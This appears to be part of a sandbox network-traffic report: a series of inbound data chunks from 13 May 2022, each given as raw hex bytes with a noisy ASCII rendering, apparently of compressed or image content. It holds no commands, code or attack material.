2022-05-13 14:42:07 UTC 7738 IN Data Raw: ae 8a 3a a9 6e bb 8d 13 2c cc c3 ea 19 13 dd 64 8e 15 5d 40 b1 2c 4f 89 b6 2f ec d4 d2 f4 aa e0 ec 0d a0 b9 
72 a4 49 0a 23 85 65 50 0d c1 b0 3c 4b e9 fb 35 8a a2 6b 52 24 cc cf 07 91 f2 5f 7c 4b 73 b5 41 2c d7 f8 07 1f da ae ac 
7e ea a8 7f 97 e6 24 7c 6e b7 8d 11 db 94 eb 28 f0 a9 5e 75 f9 48 a5 6c 16 7d 3c bf cf 92 c0 d3 34 63 c8 c6 90 89 23 0b 
10 e3 a6 87 f6 6b 9d d6 cb 47 cc 55 4a a6 ce c2 e9 e7 74 c4 ad c9 6d 96 04 b3 fc 7c b5 4b 1d f2 70 fe da 9a 25 25 5d 3b 
ae 61 f5 b9 6e b0 b1 55 5d 1c 69 fa 1e af 26 0b 61 5c 7e 9f da 4f 48 66 47 55 86 06 6c 75 d0 46 a1 8d 85 f4 e0 a0 7c 4d 
58 d7 13 b6 be f2 1d 8a f1 72 22 9b 6c ac 59 99 b9 45 d6 e4 81 ab 68 38 55 5a ad 69 ff 00 a8 d3 07 3d 4b 16 46 79 31 55 
9d 12 c0 ea 6f ba fb 78 56 9e 55 96 96 d0 a9 1d 73 61 84 
Data Ascii: :n,d]@,O/rI#eP<K5kR$_|KsA,~$|n(^uHl}<4c#kGUJtm|Kp%%];anU]i&a\~OHfGUluF|MXr"lYEh8UZi=KFy1
UoxVUsa

2022-05-13 14:42:07 UTC 7745 IN Data Raw: b8 b2 1a 0a ea d8 fd 43 36 26 87 11 80 57 16 e1 aa df 8e df 9b c3 59 61 b5 28 e6 dd 9f 88 d1 0f d1 f0 33 fa 64 
7e 53 e4 24 d0 01 c1 92 cc 09 f9 bb d4 66 c9 4c ae 52 75 b7 f1 0f b0 8e 24 66 43 f5 12 6d 12 16 b6 e0 e4 e9 af 96 de 5b 
7e ea d3 bb 8d 17 0f e1 f7 b9 8c 5a 32 7a df a8 a5 c2 99 55 80 2e e4 8b a2 02 74 f1 06 ee b1 fe ed 75 e0 f4 ea eb f8 7b 
d8 a0 d5 e9 fd 69 66 80 3a b3 2b 35 cb 07 b2 d8 7f eb f2 d7 26 4c 30 ff 00 6f 30 e0 0f d2 de a8 4c c7 78 1c 3a ac 21 8b 68 
2c 2c 7f c5 5b 7a af 4a e8 93 d3 98 7b 0a ba 97 aa 06 3c ee f8 71 49 29 5d ac db 40 d0 9f 8b bd 6a bc 5e 97 72 e6 75 a8 
d5 0a db d6 6b 0c ab 1e 4b c9 11 03 71 ba 0d da ff 00 a5 6e 1f 8a 9f f8 52 a6 aa b6 fe 7c bf 38 a0 b6 7f 5c 43 e7 c6 f8 e4 
48 64 5d a5 05 c8 5d 7c 5b bc 55 35 f4 2e 1c f2 
Data Ascii: C6&WYa(3d~S$fLRu$fCm[~Z2zU.tu{if:+5&L0o0Lx:!h,,[zJ{<qI)]@j^rukKqnR|8\CHd]]|[U5.

2022-05-13 14:42:07 UTC 7761 IN Data Raw: f8 1e 20 0f 7f fa 9c df 0d 73 53 1e ee bd d8 fd bf 09 9a 72 c2 62 99 e6 85 1a 62 22 98 ad da 35 62 4e be ff 00 
f0 d6 56 49 3d 39 ab e2 34 2d c6 9a 3c 96 2a b0 b9 45 24 33 12 41 3f 76 b4 a5 5d 78 95 50 1c af cb 93 cb 83 a7 a6 a2 e5 
ca 8b 7e cf 79 8d 6c a5 ea ed f4 09 84 f4 ac 45 48 cc ed 8e b0 93 a6 d1 b5 8f b8 78 aa df f1 dc 52 41 31 61 6e 17 28 4a 
93 6b 6d 16 17 f6 6b 5c ef 4d 44 c4 d8 90 ea e9 2b a6 bb 58 69 c5 79 48 ff 00 2a d6 36 bf d8 65 b9 15 37 4c 8a 66 28 64 
ee 83 be f7 0d fd 94 96 46 b5 8f 97 c2 4c 97 ff 00 26 49 a2 0b 63 11 29 b0 3e ee 6d a7 d9 f3 1f 15 67 e7 b4 fc 5d ed b1 ca 
4e f0 3e 9b e9 38 71 e5 2c b2 48 63 da 01 42 6e 09 1f e7 3e 1a ea c9 ea b7 ae 0b 71 a5 5a 60 d1 61 63 e4 cf 3b 84 78 1e 
fb 5b 7e 80 f8 46 c4 1d c5 fb b4 ed 7b 55 2e 17 f9 
Data Ascii:  sSrbb"5bNVI=94-<*E$3A?v]xP~ylEHxRA1an(Jkmk\MD+XiyH*6e7Lf(dFL&Ic)>mg]N>8q,HcBn>qZ`ac;x[~F{U.

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 7777 IN Data Raw: dc 05 3b ee 7d bb 48 bd da 1e 5e ad 89 18 09 0c 41 5c 9b 6e 5b f2 dc 77 be da 95 8a cf 8b fe a3 2d ec 7f 32 
46 6f ce 62 e1 07 79 b4 bf e8 a5 09 70 37 40 9d 4f ad 49 8d 1b 28 01 1b 69 60 fd 9a 70 5f b7 e5 ad b1 61 56 7f a4 8b a3 
9d e9 5e a3 c8 9a 77 c8 56 67 da 43 3a f0 dd e1 e5 4b f3 9a f4 32 fa 6a d5 25 f7 4e 68 3a b5 69 35 91 e0 f2 ae 49 b5 c9 
b0 3d 95 e5 b8 ec 72 74 d1 a0 3c ec 58 f2 80 0f 1e f0 2c 02 9d 2b 5a 59 d7 83 35 2b e9 9d 27 1b 1c ef 30 6d 20 f7 89 ed 
fb 7d 95 59 72 da dd a4 c1 78 e9 b0 2c df 52 14 6f 6d 77 0b 81 52 b2 36 b6 b1 a4 43 f9 56 3b b6 e0 bb e4 1a 87 b9 d3 f5 
56 9e 63 48 36 20 b8 b1 7c b8 f6 84 de bc 5a d5 cc ed 2c 86 8c ee a7 f5 b9 e7 64 5b 62 41 ca 0b 1b f2 fe 81 bb 9a ba 31 
6c c7 ab e6 33 58 b5 04 e9 7e 92 4c 49 03 b3 dd 48 db 62 
Data Ascii: ;}H^A\n[w-2Fobyp7@OI(i`p_aV^wVgC:K2j%Nh:i5I=rt<X,+ZY5+'0m }Yrx,RomwR6CV;VcH6 |Z,d[bA1l3X~LIHb

2022-05-13 14:42:07 UTC 7785 IN Data Raw: 47 de 2d b7 e5 ec 1b db f6 68 ae 5d c3 74 83 07 0b a3 74 de a9 21 c3 c7 85 bc a3 af 9f 10 0d af df 1b b7 db bb 
58 a5 2e 11 b6 e7 54 0b ea 2c 08 fd 34 63 e9 18 cf be 3c b6 26 4f 34 28 50 be 36 be 85 e5 f9 69 de 9b 47 4b 6e d4 e2 fd 
45 e8 2f 2d 7e bf 06 73 3c 2c 2e a5 54 96 dd e1 45 44 bd 97 e7 6e 5a d2 b6 92 de 49 e2 74 5d 0f 0f ac 2e 0a af 59 c6 92 
0c 22 54 09 09 da 77 13 cb ca 7f 33 63 f8 b9 6b 48 69 7c 26 2d a7 c3 a8 f4 ef 4f 61 e4 60 62 fd 0c 91 81 05 88 da a4 1b 5f 
df db 5b 51 c6 87 2d b8 9e 73 d6 7a 5f ab f0 72 99 7a 66 54 af 02 dc 28 2d a0 17 d3 bd 58 5d b9 d0 f4 71 3c 6e bc dc 4e 
df d1 b9 9d 72 28 4f f3 e9 a2 95 88 e5 08 ba 83 f3 3f 0f dd a7 4b db b4 e5 ca ab 3c a6 f4 fd 48 92 a3 b0 f6 7b eb 47 73 04 
82 e1 cd 8e 7d 07 11 56 ac 98 9a 02 ea 00 12 10 
Data Ascii: G-h]tt!X.T,4c<&O4(P6iGKnE/-~s<,.TEDnZIt].Y"Tw3ckHi|&-Oa`b_[Q-sz_rzfT(-X]q<nNr(O?K<H{Gs}V

2022-05-13 14:42:07 UTC 7801 IN Data Raw: 3f 26 35 1c aa ea 10 7b c9 ae 8a 71 32 67 6d fd 18 f4 a8 f4 f7 4d 5c b7 17 cc cc 21 99 88 d7 6d af 65 1e 15 f0 
fe f5 67 5b 4b 94 53 3b ef e6 79 92 cc 31 a0 4b 01 63 23 b7 74 5f c2 bf 1b 56 fa f0 20 da 6c 45 4f ce 9c 96 55 d4 03 c2 fe 
ea db 6c 6a c9 27 9a 23 89 37 cf 64 41 6b 9e c5 1e fa 2d a7 10 a9 54 91 c0 c9 b9 1c 14 e3 7b dc 5a b3 70 56 a5 6d 12 77 
d0 ed d3 b3 81 a2 04 3f 94 a8 39 cb 35 ce a0 0f ed a7 10 07 19 fd 48 f4 fe 67 a8 31 e3 c5 c0 94 ef 6b ed 8c 1e 56 03 b5 
db e2 ac ec e4 ec c1 95 63 e2 78 0e 16 0f 55 f4 57 53 9b a6 cf 26 c8 b2 94 c5 23 a5 89 5b 9f 03 37 cd ca d5 0e fb 78 71 
34 b5 f7 bf b0 d5 ca c2 9d 25 5e 7f 35 14 0b 33 1b b0 ff 00 85 55 6f 26 37 ae a7 b5 7a 6f 2f ff 00 b3 fa 78 f4 ec c6 6d f6 f2 
f7 f1 b1 1f c3 6f c3 5d 54 b4 a8 39 ad a3 93 
Data Ascii: ?&5{q2gmM\!meg[KS;y1Kc#t_V lEOUlj'#7dAk-T{ZpVmw?95Hg1kVcxUWS&#[7xq4%^53Uo&7zo/xmo]T9

2022-05-13 14:42:07 UTC 7817 IN Data Raw: 5f 57 8e 39 0a 9d cf 08 00 80 6d 7d 39 5b 6a 8e d3 4a 98 5b 5e eb 0a 0a a7 da ee b2 6f b5 c1 d8 b6 b7 01 76 
12 1e 2d f7 6b 44 dc 44 7c c1 04 63 ea de 5c 86 77 43 65 db 71 a5 cf c3 b3 ef 78 a8 78 a5 42 7e f1 40 1e 5f 51 cb ea d2 
16 73 f9 7b c2 88 c9 37 1e 3e 50 7d a2 b6 ae 3a e2 5f 6c 75 09 86 c2 d2 ca 08 c8 89 a3 70 bb 41 d0 b0 1f 13 78 76 d6 36 
85 c1 ee 21 82 45 98 3c a8 b2 0a dc ae c1 a9 b1 ba 9d 5b e6 dd 5a ba 6a d7 f1 fc 45 23 57 23 2e 3c 6f 37 31 c0 dc e0 13 
ef 27 86 df b2 b9 eb 57 68 a8 ec 8c f3 d5 d7 22 28 da 7d db 0c 9b 80 4e f5 cf 25 fe ed bc 1e 2a dd 62 da da 5e e2 12 ec 
0c 77 19 4a 89 1c 45 3b 3c c0 41 5b 7d db 77 af 59 38 af 6f d2 36 87 c9 9e 58 8a 24 63 6c 40 15 4b 81 7b f7 58 fe cd 45 
6a 9c b7 c4 40 b8 90 e2 cb 1f 9f 90 57 cd 88 10 c9 ae ba 
Data Ascii: _W9m}9[jJ[^ov-kDD|c\wCeqxxB~@_Qs{7>P}:_lupAxv6!E<[ZjE#W#.<o71'Wh"(}N%*b^wJE;<A[}wY8o6X$c
l@K{XEj@W

2022-05-13 14:42:07 UTC 7825 IN Data Raw: 83 19 06 3c 26 c4 1b 9a 78 69 b9 cb 25 b3 a1 e9 b9 aa 22 95 8f 7e 48 f8 fb 79 6b 2a a8 1b 39 ce 95 d4 e7 c7 
97 6e 17 96 76 82 4b 32 ea 41 1c cb 73 f0 fc b5 ae 5c 4a cb 9a 4e 6b 29 0c f4 a7 53 79 1e 3c 55 b3 c6 24 32 3a 9e 5e 03 
87 9a bc dc fd da c7 d5 e2 49 3b 70 71 b6 bd ef c0 3b 1e 8f 36 54 6b 87 e6 45 0a c3 a2 c8 a8 84 d9 2d 65 6d bb 4d cf 9b 
dd e7 af 9e ad 5e e8 6f 7f 73 75 bb df da 67 b7 52 af 4e fa 9b 0b 29 97 a6 c2 64 9a 79 bc cb 98 d6 ca a0 8b 27 7f 74 8d 
b5 bb ff 00 15 69 9b d2 d9 73 be ec 76 f3 5b ee 8e 0d 19 b3 0e 6f fe 26 c7 55 c7 fc a6 de 6c a5 41 bc 92 1d df 9a bb 76 fc 
35 cb b3 66 af bd cd f1 56 de 1f 09 16 45 fe b1 c6 c6 87 a5 ce 19 e2 57 31 ac 8b 10 b1 22 fd d6 1e cb db 76 d5 db 47 a4 
b3 77 ab e6 ea db 63 4a 2d 4c 0f 45 b8 c7 e9 21 fa 73 
Data Ascii: <&xi%"~Hyk*9nvK2As\JNk)Sy<U$2:^I;pq;6TkE-emM^osugRN)dy'tisv[o&UlAv5fVEW1"vGwcJ-LE!s

2022-05-13 14:42:07 UTC 7841 IN Data Raw: 5f ba 34 d3 25 9f 14 b9 33 38 c8 09 11 51 70 22 b0 dc 34 3b b8 bf 2d b9 bf 76 b5 c9 ca 26 43 ab 44 e7 6c 58 
ab e6 b4 89 dd 6b 68 4d d9 5e fe 1e f7 76 b2 c5 0b 8e 80 0b 8e 72 a1 3b b3 14 9c 70 2e c4 10 42 db c2 f5 a5 9a bf 4b e6 
27 89 4c 5b 16 77 c9 11 79 ba 9e de e9 e1 a2 fb 3c 7b 5b 75 74 e2 b2 aa d4 46 0c be 94 e9 53 4d 24 dd 39 24 58 e6 63 
b8 17 d0 df 4d ee 76 f2 7d ef c3 5d 36 f5 97 ed ee f4 f8 be 5f 88 86 da 34 a5 e8 f1 a1 38 b8 16 c6 90 46 f0 c6 06 ed a0 37 
f1 19 bc be fc 8f 5c d4 ce fa ad cf cd be de 2f 97 e5 34 4e 0e 6e 0f e9 98 86 61 1a 2c 7e 5f 96 5d 98 33 00 e4 71 db e2 d9 
1a fe d5 7a 55 f5 ef 22 d2 77 7d 3c 95 12 67 41 27 4f 9f d3 3d 3a 48 61 40 c5 22 60 b2 f3 6e 6d fd d4 57 f0 ae dd bf 96 9f 
de af 3f ce 5e a2 e9 cc 73 74 fc 9d e1 be 20 1e 9b 
Data Ascii: _4%38Qp"4;-v&CDlXkhM^vr;p.BK'L[wy<{[utFSM$9$XcMv}]6_48F7\/4Nna,~_]3qzU"w}<gA'O=:Ha@"`nmW?^st 

2022-05-13 14:42:07 UTC 7857 IN Data Raw: 96 fb d9 85 cd 89 f9 cf 76 de 15 ae 59 b6 e8 5f 29 0a c2 58 e0 cc 58 da 65 b2 b2 c8 c3 42 2c da 73 ba fc df 17 
ec d7 56 a9 37 f9 4a 7c 0a e1 44 c6 8d 47 7b cb dc 1a fd 87 e2 ae 7b 4d 9f f1 32 6c 37 31 a0 68 4e 44 76 88 85 1a 2f 33 
5c f1 da a9 f8 77 7d ea ce a9 c9 45 38 38 f8 ae a3 33 21 87 94 01 0c 57 4b 8e f1 f7 b3 86 f0 f8 6b 55 92 d4 b6 d5 da 35 f6 
83 a6 66 3c 72 b2 e2 96 f2 80 e5 02 c5 98 fc 52 33 77 f7 f8 9a b6 56 b2 d7 db e5 16 e9 60 ed 8d f5 88 01 4f cf 62 0c 92 
69 bf b7 6c 68 7d 89 5b e4 ca 9f 0f e9 18 f3 f4 c4 c1 89 1f 6b b9 2f c8 4e a5 5c f7 55 b6 8d 7e 2a e7 56 77 71 f6 73 02 52 
0e 3a 77 91 04 59 00 f9 b0 48 c7 cd 65 0c ad b4 76 5b 77 67 87 96 b6 76 97 0f b3 a7 e6 2e 03 24 7c 58 80 9f 10 18 c1 b1 
51 c5 98 77 57 73 7f 7a b9 dc d9 c7 b5 4c 5a 08 
Data Ascii: vY_)XXeB,sV7J|DG{{M2l71hNDv/3\w}E883!WKkU5f<rR3wV`Obilh}[k/N\U~*VwqsR:wYHev[wgv.$|XQwWszLZ

2022-05-13 14:42:07 UTC 7865 IN Data Raw: 4a 9e c0 18 6e dd 56 b2 27 3e d6 12 50 1a bd 51 c9 92 3f 0e e0 65 62 c7 94 6e e6 7e 6f 11 ae 7b d6 75 fb bf 
11 2d 90 8b d4 c5 bc d6 08 ac 51 ae ad da 00 3c ad bf e7 5e 5d b5 a7 95 09 2f 11 73 24 1f a9 65 08 e2 9a 05 67 33 b3 16 
dd 6b 2f b1 3d ed 50 a9 59 69 be 9f c5 f1 13 26 df 4f 10 46 c4 0b bc a4 9f 38 2f 61 e2 aa be 2e 3d fa c9 5b 86 81 57 00 d9 
2f 12 2c 61 c3 4a db c1 68 d5 ae a1 45 f6 b3 6c f8 6b 2a a6 db ee fc 46 6e f0 13 8d 93 0e 52 ab e2 31 c6 9d 59 ee 08 b8 
d7 97 70 1c cd b6 db ab 7a 63 d8 a6 cf ea 2d 36 f5 03 ea 99 70 ae 42 1c 80 d9 18 eb 74 be d5 16 07 bc db 75 e5 fb d5 51 
bb a5 c1 0d cb 2f c8 c6 9a 58 d6 30 84 45 11 de 0a db 76 9e 19 3c 68 be 2a ce 96 4b 88 80 f2 5a 6e ab 22 43 1b 79 4d b2 
ce c7 da 6d de f8 15 b6 fc df 35 6b 4d b5 e2 68 98 cd 
Data Ascii: JnV'>PQ?ebn~o{u-Q<^]/s$eg3k/=PYi&OF8/a.=[W/,aJhElk*FnR1Ypzc-6pBtuQ/X0Ev<h*KZn"CyMm5kMh

2022-05-13 14:42:07 UTC 7881 IN Data Raw: e6 dc bd df 15 69 5c 70 a3 de 26 8d 4c e3 8f 06 4c 99 f1 22 64 4a 59 96 36 53 7d b6 ed d8 ba 8f 87 9e a6 f2 9e 
d9 5b 09 44 7a 3c 19 12 99 b2 42 6c 4b b3 6e 60 00 d7 88 e6 f7 ee e5 4a c3 35 77 15 77 2c 94 19 90 e5 64 63 8c 82 d0 
22 15 56 b1 b2 b2 f8 99 7c bf 87 e0 f1 51 8f 1d 6b c7 59 7f 74 c9 98 f8 fd 2f f9 57 54 9b 27 16 12 d8 6e c4 44 18 5d 95 87 
74 3b b7 71 bc 7f e5 ae dc d9 55 eb a3 88 fc a6 89 e8 1f d1 f0 f0 f2 b3 a5 79 04 9f 50 b2 6d 11 a3 5c ca 74 f8 f7 30 2f f1 
77 68 6b 72 49 fb 89 6a 4d 1e b9 d0 a4 82 26 ca c1 44 fa 68 dc f9 aa 58 91 bc f8 77 72 ee 41 b7 bb e2 a5 6c 50 bf 50 91 
ce 74 ac 21 24 cf 98 eb b1 5b 60 60 41 60 ea 09 f3 36 5f c3 dc e6 ac f2 37 b7 6a 73 b6 7e 92 dd a0 df cc f2 26 85 c6 2f 34 
d1 c3 75 d8 0f 28 07 5d b7 f6 57 0e 35 7b 3d 7a 
Data Ascii: i\p&LL"dJY6S}[Dz<BlKn`J5ww,dc"V|QkYt/WT'nD]t;qUyPm\t0/whkrIjM&DhXwrAlPPt!$[``A`6_7js~&/4u(]W5{=z

2022-05-13 14:42:07 UTC 7897 IN Data Raw: db 1e 88 d2 86 4c cc 50 d3 1d d2 46 77 15 62 db 4e bd d6 61 ed ac ed 74 f4 9d a3 6c cd 79 e4 cb 46 9a 32 ea 
de 51 0b 23 31 24 b5 fb 80 5b e2 ee b5 6e a5 3f e7 cd f2 8e a6 96 36 1c 88 40 ea 5b 25 9c 11 20 08 2f b5 ad b4 05 73 dd 
b7 8b e2 a8 cb 9d f6 2e 4f b4 a9 35 64 e8 d0 75 08 f7 64 b0 56 7d 42 c4 d6 bd 9b 72 a4 d2 1f 9b c2 bd da df 14 35 3e f2 
60 c8 cc 8f ce cf 78 b2 e3 31 c2 79 ca 30 ba dd 47 96 ee d6 d9 b5 2d c9 f1 b5 45 da 9d 1f 36 ed 82 80 07 e9 98 58 c2 6c 
ec 79 24 92 18 46 e7 b8 b9 01 c6 d5 e5 6b ff 00 9a b5 74 b5 e5 2e cf a0 70 da 0c c9 c9 4e b0 8b 1a 0d d8 e6 d6 66 01 46 
84 73 90 9f 0d 72 da 68 f8 99 99 f9 81 de 58 e6 85 a4 7c 78 e5 74 91 9d af c0 6e 5b 7d ed b5 b4 34 9a 7f 66 d2 98 79 85 
de 19 72 02 15 c9 1b 2e 5b 98 01 fc 42 8e 17 bf f9 7a b2 
Data Ascii: LPFwbNatlyF2Q#1$[n?6@[% /s.O5dudV}Br5>`x1y0G-E6Xly$Fkt.pNfFsrhX|xtn[}4fyr.[Bz

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 7904 IN Data Raw: 64 a3 77 87 f1 7e e2 92 8e 26 5e 07 4b ca 49 83 82 a8 ad b6 72 ed cd cc 09 5d be 57 7b cb aa be 4a b5 f8 3c 
3c bf 37 88 7c 0d 5e af 2c 18 58 d0 ed fc c9 64 50 b1 f9 65 50 06 ee ae c4 3d d8 fe ff 00 de ac 6b 4d d6 e3 f3 ee e6 13 d4 
e6 66 9f 3b 2a 66 c8 46 05 70 d4 f2 97 01 da e3 77 e4 a1 ef 05 b5 77 56 94 ad 63 ff 00 93 ee fd 44 c4 07 f4 8e a3 91 97 
82 d3 64 2f 9f 6b b0 94 35 d7 72 de 4e e7 b7 5e 6d cb c9 5c f9 b1 d6 97 85 c9 f0 77 b9 b9 4a 66 af a6 60 90 18 c4 7b 72 
a3 4e 70 97 ba 82 ba ef 2b c3 f6 9a b9 f3 eb c2 69 6f c4 5e 39 93 4f ab c1 d4 b2 26 f3 30 15 6c 1b 6b 2c af 7d 49 dc b2 6c 
b7 0f 97 fc 34 f0 63 54 af 39 d9 5a a2 de b4 f9 1d 43 1b e9 63 8c 6c 92 cc 5a 23 6b 11 60 c3 cb 93 6f 78 77 15 6b 7c 79 
2b 0c d5 59 2d 07 e8 1d 3f a8 c3 91 1b 4e 91 b7 4a 
Data Ascii: dw~&^KIr]W{J<<7|^,XdPeP=kMf;*fFpwwVcDd/k5rN^m\wJf`{rNp+io^9O&0lk,}Il4cT9ZCclZ#k`oxwk|y+Y-?NJ

2022-05-13 14:42:07 UTC 7920 IN Data Raw: 5b d9 3d aa 2f a8 9f d8 0b 8e d2 4c d0 e4 4b 33 63 c8 cd 75 12 21 0a c9 71 7d b6 e5 4f 87 99 3f 15 4d 92 49 
a4 b7 fc af 9b 78 f6 87 f5 c2 32 e2 77 8f 77 d6 85 31 ee 5b 59 96 fc aa aa da ed b7 35 63 e9 f9 1e bf f8 fa 82 0d 6e 8e 23 
86 33 87 8f 28 c8 ca 24 ac 8d 36 d6 70 db 77 6d 8e c5 95 76 af c3 51 e6 5f c2 ab 57 d1 b4 ab 3d 0a d7 15 a3 78 af 72 5b 
9b 78 7b 96 6e 0a 9e 5f 87 77 2d 15 ba b7 f1 21 06 e4 cb 1c c8 93 c2 ca 43 b3 29 36 b6 d6 5f f4 d5 78 0f 86 8f 2d a5 b9 fd 
d3 44 8b fa 9e 4c 92 6f cb 68 bc c7 61 b1 11 78 26 e3 b4 ab 76 b7 dc 4a ee c7 59 9b 76 d8 a8 83 90 e9 d2 0c 99 1e 37 
20 45 19 25 46 eb 16 24 ee f2 cb f8 bb bd df 0d 3c ce 20 d7 81 d1 e0 c1 3e 4a 98 d8 47 12 a2 a3 c8 a4 d9 10 8d ce ac 8a 
a3 77 f0 f9 1d be 2f 15 75 55 e9 02 02 ea 0b 8b 88 8b 
Data Ascii: [=/LK3cu!q}O?MIx2ww1[Y5cn#3($6pwmvQ_W=xr[x{n_w-!C)6_x-DLohax&vJYv7 E%F$< >JGw/uU

2022-05-13 14:42:07 UTC 7936 IN Data Raw: c7 07 e2 91 41 5f 51 c2 76 9f cb 12 98 dd 06 d7 0a 45 9f e1 df bb bf b7 bb cb 5c b4 c9 0b 86 ef 70 93 ec 2c c0 
cb c9 c1 2d 83 8c 56 4c ee 5b 28 b1 65 b9 1f c3 51 c7 93 fc d5 a5 53 dd b9 27 5e e9 aa 5d 86 44 de ae cd f4 df 58 85 0b 
ee 33 bd a5 8c af 25 ef 68 f7 3e 8d 27 7b f3 36 d7 7f a7 c6 9a 77 5d 58 fd af ca 0d c1 d0 b7 5c ea 00 94 2c c0 a4 a4 b5 d8 
ca 1a e0 b7 99 0c 7c e1 39 77 2a 57 03 ca ef c5 bb 56 dc db 7a 36 fc e4 4c 99 bd 53 d6 f1 cc 1f a5 f4 ec 70 13 20 b3 36 
c9 09 3f 37 98 e3 dc bc fb 79 6b 4a e0 7d 6d ec 8f b3 a8 b7 6e c4 43 1f 27 2f a2 63 2f 52 06 db 84 7b 63 0c 40 54 ec d8 
a7 e3 be e7 f8 eb 0b 56 b9 ed b3 e6 e6 f8 89 98 37 21 ea 3f 5c 85 67 be 33 30 52 02 d8 b1 3f 7c 72 aa fc bf b5 5c 77 c6 
a8 f9 79 fe 6f da 56 80 65 72 f6 c8 f2 3a b4 6c 42 
Data Ascii: A_QvE\p,-VL[(eQS'^]DX3%h>'{6w]X\,|9w*WVz6LSp 6?7ykJ}mnC'/c/R{c@TV7!?\g30R?|r\wyoVer:lB

2022-05-13 14:42:07 UTC 7944 IN Data Raw: 93 e5 5f 0d 79 b6 f4 37 dd c7 95 fb 6d 1d 53 7a f1 08 f5 66 4e 0e 29 18 f8 78 ed 24 b6 24 be de 55 b3 2f 34 41 
7b 9b 3e 6a c7 66 db 3e ef 74 d2 ea 0e 53 d5 59 69 9f 8a 72 c2 33 cc 08 11 32 91 a1 26 c4 ec 1c c3 ef 7c 55 a7 a6 4e b6 
da de 9d e9 fd c5 33 99 e8 ab d4 3a 9c e9 82 5d fc 95 76 66 4d 4d ee 39 8f 31 e3 5e 96 7b 53 1d 77 76 f7 4a bf 03 ba c1 
91 22 c5 5c 49 d5 d2 58 9d 8c 65 ef aa db b3 c1 a7 36 da f0 ee 9b b6 e5 d3 65 cd b7 c4 62 9f 61 99 1e 76 5f 4d 64 90 13 
14 92 4a ae c9 aa 80 9c 79 98 f2 9d b5 d4 aa af 29 6b 15 ea f8 c4 9e a7 55 37 56 56 4d 57 cb 32 28 f2 c0 20 b3 eb 63 bd 
94 6e e1 cc bf 15 70 63 a2 ab 6f 5b 7e 5a 9a 99 39 11 f4 b0 02 44 eb 31 54 63 20 df 67 1b 8f 8b db b7 c5 cd 5d 2e b7 4a 
40 c8 c5 c5 f3 4c 9f 47 22 86 80 a0 54 3c 13 b7 46 6f 
Data Ascii: _y7mSzfN)x$$U/4A{>jf>tSYir32&|UN3:]vfMM91^{SwvJ"\IXe6ebav_MdJy)kU7VVMW2( cnpco[~Z9D1Tc g
].J@LG"T<Fo

2022-05-13 14:42:07 UTC 7960 IN Data Raw: e1 1b 90 7e 9d 16 43 6f 8b 26 65 3a 92 82 40 77 39 51 e1 ec 8d 7e f5 5d f6 ae 0b 6f f0 05 a0 4c 9d 37 1d 59 
64 ca bc 8e a0 9d a0 1b 10 35 11 b9 26 fb a5 ee f2 54 d3 22 8d 34 1c 85 60 e0 c7 34 21 d1 44 06 68 ec f1 be a0 ee 04 05 
67 ef 72 37 36 cf 86 b9 af 91 d5 f8 b5 ea af b7 78 73 08 a3 eb 61 c7 48 94 43 1b c2 ec 55 de 21 76 54 ee ad 9b b3 77 77 
98 f8 aa b6 3b 37 ad b7 2e 9d fd 36 b8 27 ef 0a 22 58 f2 20 41 18 c7 8f 16 30 61 dd ac c6 3d 6e b6 b7 ef af de ad f2 59 5a 
a9 39 b6 ee bf 07 cc 74 24 82 7a 14 85 5c cf 20 32 02 db c6 d1 7b 58 1d 37 77 ca 6e 6e f7 fa ad 58 e5 bc ad bd de f0 37 
24 63 7c ae a3 3a 66 bb 2e 3c 16 71 74 17 dc 14 f3 73 37 6e e3 42 a5 63 6f b8 c6 60 a2 76 c5 18 af 13 f9 b1 e3 b3 6e 6d 
a3 62 13 7b 0d ef de 6a aa 64 b2 d1 46 ef bd 6f ba 4f 
Data Ascii: ~Co&e:@w9Q~]oL7Yd5&T"4`4!Dhgr76xsaHCU!vTww;7.6'"X A0a=nYZ9t$z\ 2{X7wnnX7$c|:f.<qts7nBco`
vnmb{jdFoO

2022-05-13 14:42:07 UTC 7976 IN Data Raw: 91 4d 95 b7 0b be bb ad bb 98 24 7f 2a 73 56 8d d5 39 ba 9f e5 d3 fd 43 56 00 ea 9d 33 ab cf 30 29 e5 19 5d 
d8 3a c6 a1 4e cb 71 92 4e ef 2a f7 77 56 f8 b2 62 aa d7 74 46 9b bc 5f 0d 45 68 7c 43 a2 e8 f8 50 89 67 c9 54 c6 91 0b 
6d 21 da 43 dd ed 67 f1 7d da 8b e7 b5 e1 55 5a d5 7f 41 a3 d5 1c 9e 07 5c c4 99 8c 2d 75 c8 91 dd de 4d 4e 96 e5 46 
5e 1f 32 d7 a1 93 05 96 bd ca a5 5a d4 5b 4e f7 33 27 19 31 21 97 a8 18 e2 d4 93 1c 7d d2 c0 7f 15 e4 ef ee 6f 15 70 57 
5d 14 d8 9b 24 67 62 74 a4 69 1a 66 82 28 c0 37 51 cc e1 89 17 dd 7b ef fb a9 bb 97 bd 4b 2e 75 a4 49 29 49 ca 4f d0 17 
12 75 19 88 26 5b b3 ed 40 d7 43 d8 65 6f 84 f8 57 c3 5e 8a f5 1b d7 2b d9 dd e6 db cd f2 05 8d 53 93 81 d4 8a 74 f8 c8 
49 a2 4b a8 0c 11 4b 11 e2 df df ac 6c ef 45 ba 39 7b dd fb 
Data Ascii: M$*sV9CV30)]:NqN*wVbtF_Eh|CPgTm!Cg}UZA\-uMNF^2Z[N3'1!}opW]$gbtif(7Q{K.uI)IOu&[@CeoW^+StI
KKlE9{

2022-05-13 14:42:07 UTC 7980 IN Data Raw: bc 0d c1 e5 76 99 43 12 de 55 c8 fd 1c df 89 aa fd 42 b2 96 d7 27 47 ce 30 ce bc a7 37 3a 38 b2 65 54 68 15 
8b 80 a6 f7 36 d9 65 5d 58 d6 18 39 28 dd 57 5c 40 5e c9 30 fc 9f 4c a1 c2 0d 19 0d d6 18 ab 45 1e 8a b6 6f f5 a4 dd cc 
3c b5 aa a6 6a 24 db 7c 9d 3e 2f a7 ea 3a 12 d0 15 f1 86 3c 53 47 f5 2b 24 b1 90 64 04 11 62 c2 cd ce 79 9b 77 cd 59 2b 
6e 69 c6 d5 dd fe d2 5f 02 a9 fa 5e 50 2d 8d d3 cc 51 c4 e1 3c d2 1b 80 ef 94 b8 ec 2b df ad 16 5a d7 5b f3 3e e9 9d b4 
36 65 e9 38 f9 0d e6 92 15 c1 01 19 18 6d 27 bc d7 be e6 e5 ae 7c 57 d1 a6 fe f0 56 b3 a9 cc 7a 87 a6 42 d9 38 ff 00 56 
